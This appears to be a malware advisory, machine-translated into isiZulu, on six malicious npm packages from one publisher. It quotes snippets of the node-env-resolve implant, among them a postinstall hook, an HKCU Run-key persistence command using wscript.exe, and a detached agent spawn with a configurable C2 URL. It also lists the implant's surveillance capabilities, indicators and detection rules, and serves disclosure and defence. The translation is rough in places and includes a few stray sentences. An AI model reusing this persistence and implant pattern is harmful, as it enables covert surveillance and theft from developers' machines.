TL; DR
Phakathi kuka-Ephreli 1 noMeyi 3, 2026, umshicileli oyedwa we-npm, user0001, ibhaliswe nekheli le-Gmail elingaqinisekisiwe tanvisoul9@gmail.com, bacindezela buthule amaphakheji ayisithupha ngamagama angacacile ngamabomu, azwakala sengathi angqalasizinda: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, Futhi node-env-resolve.
Izinguqulo ezimbili zakamuva ze node-env-resolve, 1.0.7 kanye no-1.0.8, kwaphawulwa uhlelo lwe-Xygeni's Malware Early Warning (MEW) ngoMeyi 2 futhi kwaqinisekiswa ukuthi kunonya ngoMeyi 3.
I-implant ayijwayelekile ngendlela engeyona: azikho ama-robot e-Telegram, azikho izingcingo ze-OAST, cha ukufihla, futhi akukho mzamo wokuthola iziqinisekiso ze-AWS ngesikhathi sokufaka. Esikhundleni salokho, postinstall.js itshala ukungena kwe-Windows boot-persistence, isebenzisa ukhiye we-HKCU Run oqalayo wscript.exe ngokumelene ne-stub ye-VBS. Bese iveza i-ejenti ye-Node.js ehlukanisiwe ehlanganisa amamojula okuthwebula imakrofoni, ukwebiwa komlando wesiphequluli, ukuthathwa kwezithombe-skrini, kanye nokulingisa igundane/ikhibhodi.
Sibiza leli qembu ngokuthi I-DevTap, ngemva kwekhithi ishiya isebenza emshinini wonjiniyela.
Wonke amaphakheji ayisithupha abebukhoma ngo-npm ngesikhathi sokubhala. Siwathumele esiteshini sokuhlukumeza serejistri. Abavikeli kufanele bakhiphe noma yikuphi ukufakwa kumshicileli kuze kususwe.
Iqembu: Amaphakheji Ayisithupha, Umshicileli Oyedwa
I-akhawunti yomshicileli user0001 akuqinisekisiwe. Akunawo SCM ukuqinisekiswa, akukho imeyili exhunywe kwisizinda, futhi akukho umlando wangaphambilini. Isibambo se-Gmail tanvisoul9 ayiveli kunoma yiliphi elinye irekhodi lomshicileli we-npm esingalithola.
Wonke amaphakheji ayisithupha afaka uhlu lomgcini ofanayo, ashicilelwe kusuka ku-akhawunti efanayo, futhi abelana okufanayo package.json ipuleti elibanzi. Akukho repository, cha homepage, futhi cha description inde kunomugqa owodwa.
Isu lokuqamba amagama liyingxenye ethakazelisayo. Ngokungafani nomkhankaso wokudideka kokuthembela noma umkhankaso wokubhala amagama, awekho kula magama ahlose umtapo wolwazi othize ongaphezulu. Esikhundleni salokho, alungiswa ukuze anyamalale abe yi-real package.json or npm ls okukhiphayo.
| Iphakheji | Ishicilelwe Kuqala | Inguqulo yamanje | Izilinganiso | Indima ku-Cluster |
|---|---|---|---|---|
| i-centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, kusukela ku-1.0.5 kuya ku-1.0.9 | Isembozo "sokuqopha utility" seCluster; ukushicilelwa kokuqala |
| i-dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Isembozo esijwayelekile se-DOM-helper |
| i-node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Umndeni wokulanda ama-node ama-Mimics |
| i-ejenti yokuxhuma | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Igama elijwayelekile elithi “i-ejenti” |
| isikhathi sokusebenza se-node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Amathuluzi okwakha i-Mimics native-module |
| ukuxazulula i-node-env | 2026-04-25 05:21 UTC | 1.0.9 | 10, kusukela ku-1.0.0 kuya ku-1.0.9 | I-dropper esebenzayo; i-implant ephelele |
Amagama afana centralogger, node-fetch-lite, Futhi node-gyp-runtime zenzelwe ukubukeka zingenampikiswano ekubuyekezweni kwekhodi. Zizwakala njengezinto ebezivele zikhona esihlahleni sokuthembela kuphrojekthi.
Uma zihlanganiswe nomshicileli omusha, ongaqinisekisiwe kanye nezixhumanisi zokugcina ezingekho, zakha iphethini ebonakalayo: umdlali otshala amagama aphansi okuphikisana ebhukwini, bese ephinda ngokushesha kulowo obalulekile. Kulokhu, node-env-resolve bathole izinguqulo eziyishumi ezinsukwini eziyisishiyagalombili.
Lokho Okufika Ebhokisini Le-Windows Dev
Uchungechunge olunonya luvuliwe node-env-resolve:1.0.8 imfushane, iqondile, futhi inezici eziningi ngendlela engavamile ze-npm RAT.
Ukufakwa Kwangemva Kokufaka: Ukuphikelela kanye ne-ejenti Ehlukanisiwe
package.json imemezela i-hook yokufaka eyodwa:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js wenza izinto ezintathu ngokulandelana.
Okokuqala, ihlela isiqondisi sokufaka ngaphandle kwesihlahla se-npm. Indlela ibalwa ngesikhathi sokusebenza kusikripthi njengoba INSTALL_DIRBese isebenzisa i-internal execSync('npm install --production --silent ...') ngaphakathi kuyo ukuze kudonswe ukuncika kwesikhathi sokusebenza kwe-implant. Lokhu kubeka i-ejenti kudiski endaweni ethile njengencwadi yesandla node_modules ukuhlolwa ngeke kutholakale.
Okwesibili, ibhala isiqalisi se-VBS bese iyibhalisa ukuze iqhubeke nokuqalisa:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe yi-Windows Script Host, i-binary ye-Microsoft esayiniwe esebenza .vbs amafayela angenalo iwindi lekhonsoli. Lokho kungaphambicisYingakho ithandwa kakhulu ngama-stubs e-autorun.
Kukhona futhi ukufana reg delete indlela engaphakathi src/index.js, okuphakamisa ukuthi i-implant yenzelwe ukuthi isuswe kahle ngomyalo womsebenzisi.
Okwesithathu, kudala inqubo yomntwana ehlukanisiwe:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Imininingwane emibili ibalulekile lapha.
SERVER_URL ifundwa kusuka endaweni ezungezile. Ngenxa yalokho, i-C2 endpoint ingalungiseka ngokufakwa ngakunye futhi ayifakwanga ephaketheni. Lokho kukhetha okuncane kodwa okuhlosiwe kuyanqoba iningi lama-static-IOC sweep.
Futhi, umntwana ozelwe udla ifa eliphelele lendawo yomzali. Ngakho-ke, noma yikuphi NPM_TOKEN, AWS_*, GITHUB_TOKEN, noma isokhethi ye-SSH-agent ekhona kugobolondo lonjiniyela ngesikhathi sokufaka ingena kwinkumbulo ye-ejenti ehlala isikhathi eside.
Lokho I-ejenti Ethumela Ngakho
Okuhlanganisiwe src/ Isihlahla sihlanganisa amamojula amathathu amagama awo kuphela alandisa indaba: audioCapture.js, browserHistory.js, Futhi systemInfo.js.
Uhlu lokuthembela kwesikhathi sokusebenza, luxazululwe ngesikhathi sokuhlelwa npm install, kuyabaqinisekisa.
Le ndlela iguqula isigameko esixakile sibe impendulo elawulwayo.
Esikhundleni sokusabela ngokungaboni, amaqembu asebenza ukubeka phambili okucacile kanye nokulungiswa okusheshayo.
| Ukuncika | Kuyini Kulokhu? |
|---|---|
| ideskithophu yesithombe-skrini | Ukuthwebula isikrini ngezikhathi ezithile |
| @ifoloko-lomuthi wamantongomane/amantongomane-js | Ukulingiswa kokuzenzakalelayo kwegundane nekhibhodi / okokufaka |
| okungcono-sqlite3 | Ukufundwa okuqondile kwesizindalwazi se-SQLite se-Chrome, i-Edge, kanye ne-Firefox History |
| i-adm-zip | Ukuhlanganisa izinto zobuciko eziqoqiwe ngaphambi kokukhipha |
| Ebukhali | Ukushintsha usayizi/ukucindezela izithombe-skrini kanye nezinto zobuciko zesithombe |
| iklayenti le-socket.io | Isiteshi se-C2 esiqhubekayo esibheke eceleni |
| i-id-yomshini we-node | Izigxivizo zeminwe ezizinzile ngomsingathi ngamunye zokulandelela isisulu |
systemInfo.js izingcingo os.networkInterfaces() ukuze kuthathwe izigxivizo zeminwe ezengeziwe ngaphambi kokukhanya kokuqala.
Kungani Ukuthwebula Umsindo Kuyisignali Evelele
Ama-RAT amaningi e-npm esiwahlola ku-MEW ayama ngesikhathi sokufaka ukweba okuyimfihlo. Afundeka kanje: ~/.npmrc, funda ~/.aws/credentials, ukuklwebha process.env, THUMELA ku-webhook, bese uphuma. Lokho kufanela imodeli yezomnotho eshesha futhi ebambekayo. Iziqinisekiso zinesikhathi esifushane sokuphila, futhi umhlaseli udinga ukwenza imali ngokushesha.
node-env-resolve ihlukile ngesimo.
Ukuphikelela kusethelwe ukusinda ekuqaliseni kabusha. I-ejenti isebenza ihlukanisiwe futhi ihlala isikhathi eside ngaphansi wscript.exeIkhithi eliyiphethe iwukuba lapho emshinini wonjiniyela, hhayi ukubamba bese ushiya: irekhoda yemakrofoni, umshayeli wekhibhodi/wegundane, ukufaka umlando wesiphequluli esigcwele, ukuthwebula isikrini, kanye nesiteshi se-Socket.IO esisebenzisanayo esibuyela ku-C2 elungisekayo.
Ukuthwebula imakrofoni ikakhulukazi umugqa lo mkhankaso owela kuwo iningi le-malware ye-npm elingaweqi.
I-workstation yonjiniyela, ngokuya ngokuba, iyindawo yokusebenza lapho onjiniyela bethatha khona ama-stand-up, izingcingo zamakhasimende, izingxoxo zokuklama, kanye nama-on-call bridges. I-implant eqopha imakrofoni ayilandeli ngempela ithokheni yonjiniyela ye-npm. Ilandela lokho okushiwo unjiniyela phambi kwe-laptop.
Lelo khono elibekiwe, kanye nokuntuleka kokufiphaza kanye nokungabikho kokuhlunga okukhazimulayo ngesikhathi sokufaka, lifundeka njengokubeka kusengaphambili ukufinyelela okuqondiwe kunokuba ukwebiwa kweziqinisekiso okuvulekayo.
Asisho lokhu kuphela ukuthi kubangelwa yini. Siphawula iphrofayili yokusebenza.
I-cadence yezinsuku eziyisishiyagalombili yokuphindaphinda ku node-env-resolve imininingwane echaza kakhulu ukusebenza komugqa wesikhathi.
Lokhu akusikho ukuphonsa okuphuthumayo. Umshicileli ulondoloza i-dropper ngenkuthalo, okuvame ukusho enye yezinto ezimbili. Kungaba ukuthi bayayilungisa ngokumelene nezimo zokuhlola ngaphambi kokufakwa kabanzi, noma sebevele benayo i-telemetry yokufaka futhi bayayiphendula.
Amanye amaphakheji amahlanu awazange aphazamiseke ngemva kokushicilelwa kwawo kokuqala. Lokho kuhambisana nephethini ethi “isigaba kanye, shiya igama” leqembu elisekelayo ngenkathi umzamo wobunjiniyela ugxile kuphakheji eyenza umsebenzi.
Ukunikezwa: Izinkomba Ezincane, Akukho Sinqumo Esiqinile
Public OSINT izimpawu zincane, futhi ngeke sizelule. Okubonakalayo:
Isibambo se-Gmail tanvisoul9 ifana kancane negama elinikezwe iNingizimu Asia, elithi “Tanvi.” Lesi isignali esibuthakathaka. Izibambo ze-Gmail azizona izici, futhi zilandela ngemuva soul9 kuyinto evamile. Akuphephile ukuqagela indawo nge-imeyili eyingxenye yendawo kuphela.
Isitayela sekhodi asimangalisi i-Node.js: standard izingcingo zomtapo wolwazi ezifana os, child_process, spawn, Futhi reg addAkukho ukufiphaza, akukho ukuzungeza kwezintambo, futhi akukho logic yokulwa nokulungisa amaphutha. Umbhali ukhululekile ngama-primitive registry e-Windows kanye nokuhlelwa kwenqubo yengane ehlukanisiwe, kodwa kubonakala sengathi akafinyeleli ubuciko bokuhweba obuyimfihlo okungenzeka ukuthi babusebenzisa.
Ukuthembela akutholakali nhlobo futhi kwaziwa kahle: screenshot-desktop, nut-js, better-sqlite3, Futhi socket.io-clientAkukho protocol eyenziwe ngokwezifiso, akukho staki se-C2 esigoqiwe kusukela ekuqaleni, futhi akukho qhinga elisha lokuphikelela ngaphandle kwencwadi yesifundo Ukhiye wokuqalisa we-HKCULona ungumhlanganisi onekhono, hhayi umbhali wamathuluzi.
Asitholanga izintambo ezingezona ezesiNgisi, amazwana afakiwe, idatha yendawo, noma izigxivizo zeminwe zesikhathi eziphuma ku-compiler ngaphakathi kwezinto zobuciko ezishicilelwe.
Sihlole ukufana kwekhodi nemikhankaso yangaphambilini esivele siyilandelela, okuhlanganisa Shai Hulud, I-Owlvion, i-Buildkite, kanye ne-heibai yakamuva / claude-code-best Umndeni we-Anthropic-CLI clone. Asitholanga lutho: awekho amaphethini e-C2 abiwe, awekho amafomethi efayela abiwe, futhi awekho ama-idiom abiwe.
Lokho esingeke sikusho: ukuthi lokhu kungumdlali wezwe, iqembu elaziwayo, noma elixhumene nendawo ethile nanoma yiliphi izwe elithile.
Iphrofayili yokusebenza ihambisana nethimba elincane, elinamakhono aphakathi nendawo elenza ukuqapha onjiniyela kanye nesiteshi somsebenzi. Kungenzeka ukuthi ishukunyiswa ngokwezimali ngokusebenzisa ukufinyelela okulandelayo, kodwa mhlawumbe futhi nokuhlola-njengesevisi yomthengi ohlukile.
Amaphuzu amabili angaqondile asekela lokho okufundeka kanje: ukugwema izindlela zokukhipha izinto ezibamba ukunaka ezingashisa iqembu ngokushesha, njenge-Telegram bots, oastify.com, noma ama-canarytoken, kanye namagama amaphakheji angacacile ngamabomu, athanda ukufakwa okuthule kwe-long-tail ngaphezu kokuphakama okufushane kwevolumu ephezulu.
Izinkomba Zokuvumelana Nokuthola
| Amaphakheji kanye nomshicileli | |
|---|---|
| Inkambu | Value |
| umshicileli we-npm | user0001 |
| I-imeyili yomshicileli | tanvisoul9@gmail.com, akuqinisekisiwe |
| Packages | i-centralogger, i-dom-utils-lite, i-node-fetch-lite, i-connector-agent, i-node-gyp-runtime, i-node-env-resolve |
| Kuqinisekisiwe ukuthi kunonya | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Izinto Zobuciko Zokusingatha | |
|---|---|
| Uhlobo | Value |
| Ukhiye wokuphikelela | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Inani lokuphikelela | Igama eliguquguqukayo; idatha yefomu i-wscript.exe " \\ ".vbs" |
| Faka i-hook | ukufaka ngemuva: i-node postinstall.js ku-manifest yephakheji |
| Amamojula okufakelwa | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Isiqondisi sesiteji | I-INSTALL_DIR ixazululwe ngaphandle kwama-node_modules ephrojekthi; indawo isethwe yi-postinstall.js ngesikhathi sokufaka |
| Network | |
|---|---|
| Uhlobo | Value |
| Ukuthutha kwe-C2 | isiteshi se-socket.io-client, esiqhubekayo esibheke eceleni |
| Iphuzu lokugcina le-C2 | Kunikezwe kumenzeli ngokusebenzisa i-SERVER_URL environment variable; akufakiwe ikhodi eqinile ezintweni ezishicilelwe |
Amanothi Okuthola
Imithetho emibili ithinta lo mndeni ngaphandle kokudinga iphuzu lokugcina le-C2.
Okokuqala, maka izikripthi ze-postinstall ezenza umsebenzi wangaphakathi npm install ungene endleleni engaphandle kwesikhombisi sephakheji. Noma yimuphi umlandi osemthethweni wokwakha kusengaphambili, njengokuthi node-gyp iyakha kabusha noma i-prebuilt-binary downloaders, ibhala ngaphakathi kwephakheji noma ku-platform-standard izindlela ze-cache ezine-hashes eziqinisekisiwe. Ayibhali ku-entsha edalwe INSTALL_DIR kwenye indawo kudiski.
Okwesibili, maka izikripthi ze-postinstall ezikhiphayo reg add HKCU\…\Run nge wscript.exe njengesiqalisi. Lokhu akukaze kube semthethweni kusukela kuphakheji ye-npm. Maka bese uyihlukanisa.
I-heuristic yesithathu iwusizo ekuboneni iphakheji elandelayo yezingane ngaphambi kokuba iqinisekiswe: umshicileli omusha we-npm ongenawo SCM ukuqinisekiswa, i-imeyili ye-Gmail, cha repository insimu, kanye namagama amaningi amafushane, ajwayelekile, azwakala njengengqalasizinda ashicilelwe zingakapheli izinsuku eziningi, ngokwawo, anele ukugunyaza ukubuyekezwa ngesandla.
Kubikwe kurejista ye-npm. Sizobuyekeza lokhu okuthunyelwe uma i-akhawunti yomshicileli isusiwe.
